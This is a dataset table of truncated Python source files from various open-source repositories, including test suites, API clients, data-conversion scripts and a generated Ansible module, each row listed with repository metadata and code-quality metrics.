import fathom.tikz as tikz
import fathom.colors as colors
import fathom.line_styles as line_styles
import fathom.corner_styles as corner_styles
@testa.is_(expect=r'''
\documentclass[UTF8]{ctexart}
\usepackage[a0paper]{geometry}
\usepackage{tikz}
\pagestyle{empty}
\begin{d... | 24.572289 | 114 | 0.683746 | 574 | 4,079 | 4.771777 | 0.111498 | 0.040161 | 0.046002 | 0.043812 | 0.835706 | 0.808324 | 0.808324 | 0.794816 | 0.780212 | 0.778751 | 0 | 0.071468 | 0.121844 | 4,079 | 165 | 115 | 24.721212 | 0.693188 | 0 | 0 | 0.77027 | 0 | 0.060811 | 0.525864 | 0.277274 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054054 | false | 0 | 0.040541 | 0 | 0.148649 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ce7986caebd775ebe07c34802a26ab3bed42cc00 | 2,055 | py | Python | server/tests/main.py | maresc-g/thermostat | be61b7b36d50b6eabebfc63edce4b78151512971 | [
"MIT"
] | null | null | null | server/tests/main.py | maresc-g/thermostat | be61b7b36d50b6eabebfc63edce4b78151512971 | [
"MIT"
] | null | null | null | server/tests/main.py | maresc-g/thermostat | be61b7b36d50b6eabebfc63edce4b78151512971 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import requests as req
import json
r = req.get('http://127.0.0.1:8080/v1/heater_timeslot')
print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.json()}')
payload = {
"target_temperature": 21.47,
"start_day": 1,
"start_time": "21:20:45",
"end_day": 2,
"end_time": "01... | 33.145161 | 82 | 0.616545 | 356 | 2,055 | 3.460674 | 0.168539 | 0.035714 | 0.071429 | 0.080357 | 0.796266 | 0.796266 | 0.796266 | 0.796266 | 0.796266 | 0.796266 | 0 | 0.087767 | 0.112895 | 2,055 | 61 | 83 | 33.688525 | 0.588042 | 0.010219 | 0 | 0.5 | 0 | 0.229167 | 0.65273 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.041667 | 0 | 0.041667 | 0.229167 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ceb194e0d0573b7a449a4d9241e58cf749ea232f | 86 | py | Python | aoc_cqkh42/year_2020/__init__.py | cqkh42/advent-of-code | bcf31cf8973a5b6d67492c412dce10df742e04d1 | [
"MIT"
] | null | null | null | aoc_cqkh42/year_2020/__init__.py | cqkh42/advent-of-code | bcf31cf8973a5b6d67492c412dce10df742e04d1 | [
"MIT"
] | null | null | null | aoc_cqkh42/year_2020/__init__.py | cqkh42/advent-of-code | bcf31cf8973a5b6d67492c412dce10df742e04d1 | [
"MIT"
] | null | null | null | """
Solutions for 2020's Advent of Code
"""
# TODO is it tidy?
# TODO is it complete?a | 17.2 | 35 | 0.674419 | 16 | 86 | 3.625 | 0.8125 | 0.206897 | 0.275862 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057971 | 0.197674 | 86 | 5 | 36 | 17.2 | 0.782609 | 0.872093 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0.2 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0b5ab38e3f12d77a734e16bacedb3dacf93042b3 | 26,536 | py | Python | tests/test_0405-write-a-histogram.py | eic/uproot4 | deb8d88c2643521f372bf5005c51af8926016c7e | [
"BSD-3-Clause"
] | 133 | 2020-05-08T21:34:11.000Z | 2022-03-07T18:12:58.000Z | tests/test_0405-write-a-histogram.py | eic/uproot4 | deb8d88c2643521f372bf5005c51af8926016c7e | [
"BSD-3-Clause"
] | 269 | 2020-05-13T02:42:24.000Z | 2022-03-24T20:24:16.000Z | tests/test_0405-write-a-histogram.py | eic/uproot4 | deb8d88c2643521f372bf5005c51af8926016c7e | [
"BSD-3-Clause"
] | 45 | 2020-05-15T17:48:04.000Z | 2022-03-18T19:23:07.000Z | # BSD 3-Clause License; see https://github.com/scikit-hep/uproot4/blob/main/LICENSE
import os
import numpy as np
import pytest
import skhep_testdata
import uproot
import uproot.writing
ROOT = pytest.importorskip("ROOT")
def test_copy(tmp_path):
original = os.path.join(tmp_path, "original.root")
newfile = ... | 32.679803 | 88 | 0.536592 | 4,034 | 26,536 | 3.505702 | 0.050322 | 0.097157 | 0.126644 | 0.144251 | 0.91748 | 0.908217 | 0.891812 | 0.880851 | 0.872861 | 0.869962 | 0 | 0.131616 | 0.274457 | 26,536 | 811 | 89 | 32.720099 | 0.602919 | 0.003052 | 0 | 0.806407 | 0 | 0 | 0.026046 | 0.001663 | 0 | 0 | 0 | 0 | 0.253482 | 1 | 0.022284 | false | 0 | 0.009749 | 0 | 0.032033 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0bab69de750ef31a4bc0453eff9facff070a36cc | 2,936 | py | Python | bin/fasta_reader.py | avoorhis/VAMPS-Upload-Notebook | 8a72716293a972febc83e28203f0e8426831c72d | [
"MIT"
] | null | null | null | bin/fasta_reader.py | avoorhis/VAMPS-Upload-Notebook | 8a72716293a972febc83e28203f0e8426831c72d | [
"MIT"
] | null | null | null | bin/fasta_reader.py | avoorhis/VAMPS-Upload-Notebook | 8a72716293a972febc83e28203f0e8426831c72d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
############################################################
# #
# Simple script to read a fasta file #
# #
# ... | 28.504854 | 63 | 0.36376 | 268 | 2,936 | 3.843284 | 0.242537 | 0.048544 | 0.069903 | 0.066019 | 0.836893 | 0.836893 | 0.836893 | 0.836893 | 0.836893 | 0.836893 | 0 | 0.0036 | 0.526907 | 2,936 | 103 | 64 | 28.504854 | 0.737941 | 0.138283 | 0 | 0.818182 | 0 | 0 | 0.010591 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.121212 | false | 0 | 0.015152 | 0.030303 | 0.257576 | 0.030303 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f00737e7860c14cc90edb6cffe7a39edaf8e4029 | 3,187 | py | Python | ProtoToBQ/difftest.py | LaurensVijnck/ProtoGen | 6605742c6b3be2868747dbc236392b684410fc85 | [
"MIT"
] | null | null | null | ProtoToBQ/difftest.py | LaurensVijnck/ProtoGen | 6605742c6b3be2868747dbc236392b684410fc85 | [
"MIT"
] | 1 | 2021-03-02T09:06:08.000Z | 2021-03-02T09:06:08.000Z | ProtoToBQ/difftest.py | LaurensVijnck/ProtoGen | 6605742c6b3be2868747dbc236392b684410fc85 | [
"MIT"
] | null | null | null | from jsondiff import diff
import json
first = {".lvi.Event": {
"package": "lvi",
"filename": "event",
"ambiguous_file_name": True,
"name": "Event",
"table_root": True,
"batch_table": True,
"cluster_fields": [
"tenant_id"
],
"time_partitioning": True,
"partitioning_expirati... | 25.701613 | 64 | 0.528397 | 288 | 3,187 | 5.618056 | 0.190972 | 0.117429 | 0.061805 | 0.058714 | 0.954265 | 0.954265 | 0.954265 | 0.954265 | 0.954265 | 0.954265 | 0 | 0.003201 | 0.313775 | 3,187 | 124 | 65 | 25.701613 | 0.736626 | 0 | 0 | 0.818182 | 0 | 0 | 0.440088 | 0.014429 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.016529 | 0 | 0.016529 | 0.008264 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f0228e344a1e472fa975b37f469a6f5dd0245bd7 | 41,781 | py | Python | test/unit/test_compare_comply_v1.py | BuiQuangAnh/python-sdk | f9726a4f74d0a5a3ea901044af8565b4eea4d05e | [
"Apache-2.0"
] | null | null | null | test/unit/test_compare_comply_v1.py | BuiQuangAnh/python-sdk | f9726a4f74d0a5a3ea901044af8565b4eea4d05e | [
"Apache-2.0"
] | null | null | null | test/unit/test_compare_comply_v1.py | BuiQuangAnh/python-sdk | f9726a4f74d0a5a3ea901044af8565b4eea4d05e | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# (C) Copyright IBM Corp. 2018, 2020.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | 38.331193 | 756 | 0.508293 | 3,752 | 41,781 | 5.414446 | 0.079158 | 0.033079 | 0.021265 | 0.035442 | 0.847207 | 0.838297 | 0.830322 | 0.820231 | 0.814226 | 0.800148 | 0 | 0.015074 | 0.209306 | 41,781 | 1,089 | 757 | 38.366391 | 0.599861 | 0.253225 | 0 | 0.748851 | 0 | 0.013783 | 0.194857 | 0.046665 | 0 | 0 | 0 | 0 | 0.061256 | 1 | 0.153139 | false | 0 | 0.013783 | 0 | 0.258806 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f023ac1df51cf1ef5826d1574447a0855e92b54b | 32,745 | py | Python | sunshine_conversations_client/api/conversations_api.py | Dima2022/sunshine-conversations-python | 8085a82dc320d97f09bb0174d11dd1865a65404a | [
"Apache-2.0"
] | 4 | 2020-09-27T14:28:25.000Z | 2022-02-02T13:51:29.000Z | sunshine_conversations_client/api/conversations_api.py | Dima2022/sunshine-conversations-python | 8085a82dc320d97f09bb0174d11dd1865a65404a | [
"Apache-2.0"
] | 3 | 2021-09-30T18:18:58.000Z | 2021-12-04T07:55:23.000Z | sunshine_conversations_client/api/conversations_api.py | Dima2022/sunshine-conversations-python | 8085a82dc320d97f09bb0174d11dd1865a65404a | [
"Apache-2.0"
] | 5 | 2020-11-07T02:08:18.000Z | 2021-12-07T17:10:23.000Z | # coding: utf-8
"""
Sunshine Conversations API
The version of the OpenAPI document: 9.4.5
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from sunshine_conversations_client.api_cli... | 48.655275 | 261 | 0.611299 | 3,587 | 32,745 | 5.327014 | 0.062448 | 0.043542 | 0.064476 | 0.02355 | 0.955097 | 0.951225 | 0.940077 | 0.938193 | 0.923435 | 0.920452 | 0 | 0.01655 | 0.315407 | 32,745 | 672 | 262 | 48.727679 | 0.835839 | 0.442938 | 0 | 0.708589 | 1 | 0 | 0.202853 | 0.060606 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033742 | false | 0 | 0.015337 | 0 | 0.082822 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
b2dbb40059f787d12da45bfd9ae2a50f20793b6b | 10,000 | py | Python | code/generator/Convert.py | humblef00ls/FinQA-new | ddef84d4dc397f5e14cb1623bc86dac133a8821c | [
"MIT"
] | null | null | null | code/generator/Convert.py | humblef00ls/FinQA-new | ddef84d4dc397f5e14cb1623bc86dac133a8821c | [
"MIT"
] | null | null | null | code/generator/Convert.py | humblef00ls/FinQA-new | ddef84d4dc397f5e14cb1623bc86dac133a8821c | [
"MIT"
] | null | null | null | import argparse
import collections
import json
import os
import sys
import random
'''
convert retriever results to generator test input
'''
def remove_space(text_in):
res = []
for tmp in text_in.split(" "):
if tmp != "":
res.append(tmp)
return " ".join(res)
def table_row_to_text(... | 31.64557 | 149 | 0.5919 | 1,370 | 10,000 | 3.99562 | 0.092701 | 0.071246 | 0.058824 | 0.038363 | 0.814943 | 0.796675 | 0.782974 | 0.770004 | 0.74662 | 0.696931 | 0 | 0.017407 | 0.2819 | 10,000 | 315 | 150 | 31.746032 | 0.744882 | 0.1704 | 0 | 0.710383 | 0 | 0.016393 | 0.110908 | 0.060584 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027322 | false | 0 | 0.032787 | 0 | 0.071038 | 0.010929 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b2e9d2dcb3a0622d6b62b0ea852e72d24d8f5d2a | 108 | py | Python | source/utils/__init__.py | EmilePapillon/Udacity-MLND-Capstone | e5b5112c0a8c24fca32dc60953b93c5e4772b5cb | [
"MIT"
] | 19 | 2022-01-19T08:26:26.000Z | 2022-03-25T18:17:57.000Z | source/utils/__init__.py | EmilePapillon/Udacity-MLND-Capstone | e5b5112c0a8c24fca32dc60953b93c5e4772b5cb | [
"MIT"
] | null | null | null | source/utils/__init__.py | EmilePapillon/Udacity-MLND-Capstone | e5b5112c0a8c24fca32dc60953b93c5e4772b5cb | [
"MIT"
] | 5 | 2022-01-20T07:03:06.000Z | 2022-03-06T01:48:14.000Z | from .dir_utils import *
from .image_utils import *
from .model_utils import *
from .dataset_utils import *
| 21.6 | 28 | 0.777778 | 16 | 108 | 5 | 0.4375 | 0.55 | 0.5625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 108 | 4 | 29 | 27 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
b2eec956624d63cc34822c5d8782052aa71d91ae | 2,947 | py | Python | venv/Lib/site-packages/qcs_api_client/operations/sync_from_dict/__init__.py | Holly-Jiang/QCTSA | b90136b9df18fc21ae53b431f1e5e0c6ef786fae | [
"MIT"
] | null | null | null | venv/Lib/site-packages/qcs_api_client/operations/sync_from_dict/__init__.py | Holly-Jiang/QCTSA | b90136b9df18fc21ae53b431f1e5e0c6ef786fae | [
"MIT"
] | null | null | null | venv/Lib/site-packages/qcs_api_client/operations/sync_from_dict/__init__.py | Holly-Jiang/QCTSA | b90136b9df18fc21ae53b431f1e5e0c6ef786fae | [
"MIT"
] | null | null | null | from qcs_api_client.api.account.add_group_user import sync_from_dict as add_group_user
from qcs_api_client.api.account.list_group_users import sync_from_dict as list_group_users
from qcs_api_client.api.account.list_user_groups import sync_from_dict as list_user_groups
from qcs_api_client.api.account.remove_group_user i... | 79.648649 | 118 | 0.902273 | 478 | 2,947 | 5.089958 | 0.112971 | 0.114673 | 0.115084 | 0.184135 | 0.819153 | 0.776819 | 0.431977 | 0.19852 | 0.085491 | 0 | 0 | 0 | 0.065151 | 2,947 | 36 | 119 | 81.861111 | 0.883122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.138889 | 0.777778 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
653ef93c96f60e11c71ef79510d65ba389a993a5 | 2,151 | py | Python | __scraping__/sharesansar.com - requests, JSON/main-parse-url.py | furas/python-code | 223d8245c6a2a058031f302feaffd9a4f900110e | [
"MIT"
] | 2 | 2015-12-12T20:14:12.000Z | 2016-08-13T00:42:10.000Z | __scraping__/sharesansar.com - requests, JSON/main-parse-url.py | furas/python-code | 223d8245c6a2a058031f302feaffd9a4f900110e | [
"MIT"
] | null | null | null | __scraping__/sharesansar.com - requests, JSON/main-parse-url.py | furas/python-code | 223d8245c6a2a058031f302feaffd9a4f900110e | [
"MIT"
] | null | null | null | import urllib.parse
import pprint
query = 'draw=1&columns%5B0%5D%5Bdata%5D=DT_Row_Index&columns%5B0%5D%5Bname%5D=&columns%5B0%5D%5Bsearchable%5D=false&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=published_date&columns%5... | 239 | 2,055 | 0.812645 | 379 | 2,151 | 4.591029 | 0.134565 | 0.108621 | 0.201149 | 0.087931 | 0.647701 | 0.311494 | 0.151724 | 0 | 0 | 0 | 0 | 0.153954 | 0.006509 | 2,151 | 8 | 2,056 | 268.875 | 0.660271 | 0 | 0 | 0 | 0 | 0.2 | 0.951163 | 0.951163 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0.4 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
e8ff1e08ecbbffb3168d7c779989697ef937dce2 | 10,251 | py | Python | tests/test_catalogrecord.py | Informasjonsforvaltning/datacatalogtordf | 7e21186e9bd03e434a0319b2f36aecf78d7c16ee | [
"Apache-2.0"
] | 2 | 2020-05-18T06:57:12.000Z | 2020-06-25T12:46:42.000Z | tests/test_catalogrecord.py | Informasjonsforvaltning/datacatalogtordf | 7e21186e9bd03e434a0319b2f36aecf78d7c16ee | [
"Apache-2.0"
] | 42 | 2020-03-17T16:09:56.000Z | 2022-03-28T06:12:01.000Z | tests/test_catalogrecord.py | Informasjonsforvaltning/datacatalogtordf | 7e21186e9bd03e434a0319b2f36aecf78d7c16ee | [
"Apache-2.0"
] | null | null | null | """Test cases for the dataset module."""
from pytest_mock import MockFixture
from rdflib import Graph
from rdflib.compare import graph_diff, isomorphic
from skolemizer.testutils import skolemization
from datacatalogtordf import CatalogRecord
from datacatalogtordf import Dataset
from tests.testutils import assert_isomo... | 33.5 | 87 | 0.641303 | 1,310 | 10,251 | 4.901527 | 0.1 | 0.034886 | 0.044853 | 0.059804 | 0.860302 | 0.844105 | 0.834917 | 0.814515 | 0.814515 | 0.790531 | 0 | 0.041948 | 0.190713 | 10,251 | 305 | 88 | 33.609836 | 0.73204 | 0.065457 | 0 | 0.738938 | 0 | 0.097345 | 0.477287 | 0.012888 | 0 | 0 | 0 | 0 | 0.048673 | 1 | 0.053097 | false | 0.039823 | 0.030973 | 0 | 0.084071 | 0.017699 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
330204a7f13757ec3958a3ca43b17ab6a3417823 | 16,551 | py | Python | tests/probability2/multi_discrete_rv_test.py | rpazuki/algos | bca46326f58eb983db6efe55320bf95fcf2b895f | [
"MIT"
] | null | null | null | tests/probability2/multi_discrete_rv_test.py | rpazuki/algos | bca46326f58eb983db6efe55320bf95fcf2b895f | [
"MIT"
] | 1 | 2020-08-12T06:56:59.000Z | 2020-08-12T08:57:30.000Z | tests/probability2/multi_discrete_rv_test.py | chasing-entropy/algos | bca46326f58eb983db6efe55320bf95fcf2b895f | [
"MIT"
] | null | null | null | import pytest
from probability2 import MultiDiscreteRV
def test_len_multidiscreterv():
random_v = MultiDiscreteRV((1, 2), ["X1", "X2"])
assert len(random_v) == 2
assert random_v.size == 2
random_v = MultiDiscreteRV((1, "aaa", "w1"))
assert len(random_v) == 3
assert random_v.size == 3
ra... | 37.787671 | 87 | 0.535738 | 2,920 | 16,551 | 2.879795 | 0.015068 | 0.205613 | 0.169105 | 0.198359 | 0.960518 | 0.944702 | 0.93507 | 0.925318 | 0.910096 | 0.882269 | 0 | 0.107036 | 0.232312 | 16,551 | 437 | 88 | 37.874142 | 0.554777 | 0.006888 | 0 | 0.575064 | 0 | 0 | 0.056719 | 0 | 0 | 0 | 0 | 0 | 0.386768 | 1 | 0.017812 | false | 0 | 0.005089 | 0 | 0.022901 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
330aecd80cfef8d583643e23557497bc06e813d2 | 8,486 | py | Python | tests/dhcpv6/prefix_delegation/test_v6_prefix_delegation_renew.py | shawnmullaney/forge | aaaef0a0645f73d24666aab6a400f3604e753aac | [
"0BSD"
] | null | null | null | tests/dhcpv6/prefix_delegation/test_v6_prefix_delegation_renew.py | shawnmullaney/forge | aaaef0a0645f73d24666aab6a400f3604e753aac | [
"0BSD"
] | null | null | null | tests/dhcpv6/prefix_delegation/test_v6_prefix_delegation_renew.py | shawnmullaney/forge | aaaef0a0645f73d24666aab6a400f3604e753aac | [
"0BSD"
] | null | null | null | """DHCPv6 Prefix Delegation"""
# pylint: disable=invalid-name,line-too-long
import pytest
import misc
import srv_msg
import references
import srv_control
@pytest.mark.v6
@pytest.mark.dhcp6
@pytest.mark.PD
@pytest.mark.rfc3633
def test_prefix_delegation_onlyPD_renew():
misc.test_setup()
srv_control.config_... | 37.38326 | 93 | 0.723898 | 1,248 | 8,486 | 4.576122 | 0.084135 | 0.090352 | 0.096656 | 0.0865 | 0.941166 | 0.940816 | 0.935038 | 0.919979 | 0.909648 | 0.909648 | 0 | 0.038824 | 0.125854 | 8,486 | 226 | 94 | 37.548673 | 0.73106 | 0.05621 | 0 | 0.889535 | 0 | 0 | 0.170564 | 0.004377 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02907 | true | 0.069767 | 0.02907 | 0 | 0.05814 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
331baf1bfb03f4267878d1f322d21fa59467987c | 73,482 | py | Python | ansible/roles/openshift_client_python/library/openshift_client_python.py | elenagerman/openshift-client-python | a6c97f8c9ac40df9eeef8f1af599c9e3a7cb63ad | [
"Apache-2.0"
] | null | null | null | ansible/roles/openshift_client_python/library/openshift_client_python.py | elenagerman/openshift-client-python | a6c97f8c9ac40df9eeef8f1af599c9e3a7cb63ad | [
"Apache-2.0"
] | null | null | null | ansible/roles/openshift_client_python/library/openshift_client_python.py | elenagerman/openshift-client-python | a6c97f8c9ac40df9eeef8f1af599c9e3a7cb63ad | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# THIS IS A GENERATED FILE. DO NOT MODIFY IT
# Modify: openshift_client_python.template.py and then run rebuild_module.sh to affect this file
from __future__ import print_function
from __future__ import absolute_import
from ansible.module_utils.basic import AnsibleModule
import os
import six
im... | 699.828571 | 69,131 | 0.948164 | 2,574 | 73,482 | 27.035354 | 0.842269 | 0.002759 | 0.002414 | 0.002529 | 0.009182 | 0.008133 | 0.007156 | 0.007156 | 0.00638 | 0.00638 | 0 | 0.151477 | 0.017147 | 73,482 | 104 | 69,132 | 706.557692 | 0.812066 | 0.010193 | 0 | 0.220779 | 1 | 0.012987 | 0.954704 | 0.951417 | 0 | 1 | 0 | 0 | 0 | 1 | 0.025974 | false | 0 | 0.181818 | 0 | 0.207792 | 0.051948 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.